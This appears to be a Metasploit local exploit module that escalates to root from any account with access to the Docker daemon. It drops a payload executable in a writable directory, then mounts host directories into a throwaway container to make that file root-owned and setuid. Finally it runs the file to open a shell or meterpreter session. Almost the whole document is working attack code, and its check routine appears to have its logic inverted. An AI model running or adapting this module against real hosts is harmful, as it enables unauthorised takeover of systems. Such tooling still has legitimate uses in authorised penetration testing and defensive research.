Docker Daemon Privilege Escalation

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Docker Daemon Privilege Escalation',  
'Description' => %q{  
This module obtains root privileges from any host account with access to the  
Docker daemon. Usually this includes accounts in the `docker` group.  
},  
'License' => MSF_LICENSE,  
'Author' => ['forzoni'],  
'DisclosureDate' => 'Jun 28 2016',  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],  
'Targets' => [ ['Automatic', {}] ],  
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },  
'SessionTypes' => ['shell', 'meterpreter'],  
'DefaultTarget' => 0  
}  
))  
register_advanced_options([  
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])  
], self.class)  
end  
  
def check  
if cmd_exec('docker ps && echo true') == 'true'  
print_error("Failed to access Docker daemon.")  
Exploit::CheckCode::Safe  
else  
Exploit::CheckCode::Vulnerable  
end  
end  
  
def exploit  
pl = generate_payload_exe  
exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"  
print_status("Writing payload executable to '#{exe_path}'")  
  
write_file(exe_path, pl)  
register_file_for_cleanup(exe_path)  
  
print_status("Executing script to create and run docker container")  
vprint_status cmd_exec("chmod +x #{exe_path}")  
vprint_status shell_script(exe_path)  
vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")  
  
print_status "Waiting #{datastore['WfsDelay']}s for payload"  
end  
  
def shell_script(exploit_path)  
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]  
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")  
  
%Q{  
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`  
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"  
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"  
docker rmi -f $IMG  
#{exploit_path}  
}.strip.split("\n").map(&:strip).join(';')  
end  
  
end  
`